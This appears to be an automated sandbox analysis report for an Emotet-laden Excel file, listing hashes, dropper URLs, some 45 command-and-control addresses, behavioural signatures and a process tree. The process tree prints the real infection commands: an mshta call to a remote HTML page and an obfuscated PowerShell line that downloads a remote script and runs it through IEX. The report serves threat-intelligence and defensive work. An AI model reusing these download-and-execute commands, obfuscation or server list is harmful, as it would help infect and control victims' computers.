emotet | ce556d0dfbdf9ae6c48e0a8c8a4c96335700e7817183adf0c87ffb3667f1820a

Analysis

max time kernel
148s
max time network
158s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 17:10

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General

Target
tmpbiyglgor.xls
Size 155KB
Sample220127-vppzhagccn
SHA256 ce556d0dfbdf9ae6c48e0a8c8a4c96335700e7817183adf0c87ffb3667f1820a
MD5 3eec3c4cdf8887c9daefafb88641cc4b
SHA1 8d311acbf84c54c4156cd7e932268ada793b6686
SHA512 68d7f6dbd7b6808bc00253425edb061977b602503abbdb7d937843ce70660664c62d39a7d6e9ade56ac8a9dd4b8b03cead46d42f19db90108029f4076cef013c
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3452	528	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 28 IoCs

flow	pid	Process
27	1732	mshta.exe
33	3204	powershell.exe
36	3204	powershell.exe
49	3204	powershell.exe
50	1096	rundll32.exe
52	1096	rundll32.exe
53	1096	rundll32.exe
54	1096	rundll32.exe
55	1096	rundll32.exe
56	1096	rundll32.exe
57	1096	rundll32.exe
58	1096	rundll32.exe
59	1096	rundll32.exe
60	1096	rundll32.exe
61	1096	rundll32.exe
62	1096	rundll32.exe
63	1096	rundll32.exe
64	1096	rundll32.exe
65	1096	rundll32.exe
68	1096	rundll32.exe
69	1096	rundll32.exe
70	1096	rundll32.exe
71	1096	rundll32.exe
72	1096	rundll32.exe
73	1096	rundll32.exe
74	1096	rundll32.exe
75	1096	rundll32.exe
76	1096	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
4008	rundll32.exe
3836	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ndbwfkehkmrxx\vleccw.apa	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3200	1732	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
528	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3204	powershell.exe
3204	powershell.exe
3204	powershell.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
1096	rundll32.exe
1096	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3204	powershell.exe
Token: SeDebugPrivilege	3200	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE
528	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 528 wrote to memory of 3452	528	EXCEL.EXE	70
PID 528 wrote to memory of 3452	528	EXCEL.EXE	70
PID 3452 wrote to memory of 1732	3452	cmd.exe	72
PID 3452 wrote to memory of 1732	3452	cmd.exe	72
PID 1732 wrote to memory of 3204	1732	mshta.exe	73
PID 1732 wrote to memory of 3204	1732	mshta.exe	73
PID 3204 wrote to memory of 3844	3204	powershell.exe	80
PID 3204 wrote to memory of 3844	3204	powershell.exe	80
PID 3844 wrote to memory of 4008	3844	cmd.exe	81
PID 3844 wrote to memory of 4008	3844	cmd.exe	81
PID 3844 wrote to memory of 4008	3844	cmd.exe	81
PID 4008 wrote to memory of 3836	4008	rundll32.exe	82
PID 4008 wrote to memory of 3836	4008	rundll32.exe	82
PID 4008 wrote to memory of 3836	4008	rundll32.exe	82
PID 3836 wrote to memory of 372	3836	rundll32.exe	83
PID 3836 wrote to memory of 372	3836	rundll32.exe	83
PID 3836 wrote to memory of 372	3836	rundll32.exe	83
PID 372 wrote to memory of 1096	372	rundll32.exe	84
PID 372 wrote to memory of 1096	372	rundll32.exe	84
PID 372 wrote to memory of 1096	372	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpbiyglgor.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:528
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3204
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3844
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4008
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3836
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ndbwfkehkmrxx\vleccw.apa",IYeLfghMyAUVXH
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:372
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ndbwfkehkmrxx\vleccw.apa",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1096
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1732 -s 1832
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/372-379-0x0000000004DA0000-0x0000000004DC5000-memory.dmp

Download

memory/528-419-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-131-0x00007FFF3FCD0000-0x00007FFF3FCE0000-memory.dmp

Download

memory/528-132-0x00007FFF3FCD0000-0x00007FFF3FCE0000-memory.dmp

Download

memory/528-118-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-122-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-418-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-417-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-416-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-121-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-120-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/528-119-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

Download

memory/1096-385-0x0000000004CF0000-0x0000000004D15000-memory.dmp

Download

memory/1096-383-0x00000000046B0000-0x00000000046D5000-memory.dmp

Download

memory/3204-289-0x0000018298460000-0x0000018298482000-memory.dmp

Download

memory/3204-326-0x0000018280050000-0x0000018280070000-memory.dmp

Download

memory/3204-321-0x0000018298B20000-0x0000018298B96000-memory.dmp

Download

memory/3204-310-0x00000182986F0000-0x000001829872C000-memory.dmp

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memory/3204-295-0x0000018280050000-0x0000018280070000-memory.dmp

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memory/3204-294-0x0000018280050000-0x0000018280070000-memory.dmp

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memory/3836-362-0x0000000000840000-0x0000000000865000-memory.dmp

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memory/3836-365-0x0000000004740000-0x0000000004765000-memory.dmp

Download

memory/3836-367-0x00000000047A0000-0x00000000047C5000-memory.dmp

Download

memory/3836-369-0x0000000004800000-0x0000000004825000-memory.dmp

Download

memory/3836-358-0x0000000000240000-0x0000000000265000-memory.dmp

Download

memory/3836-381-0x0000000004970000-0x0000000004995000-memory.dmp

Download

memory/4008-355-0x0000000004F30000-0x0000000004F55000-memory.dmp

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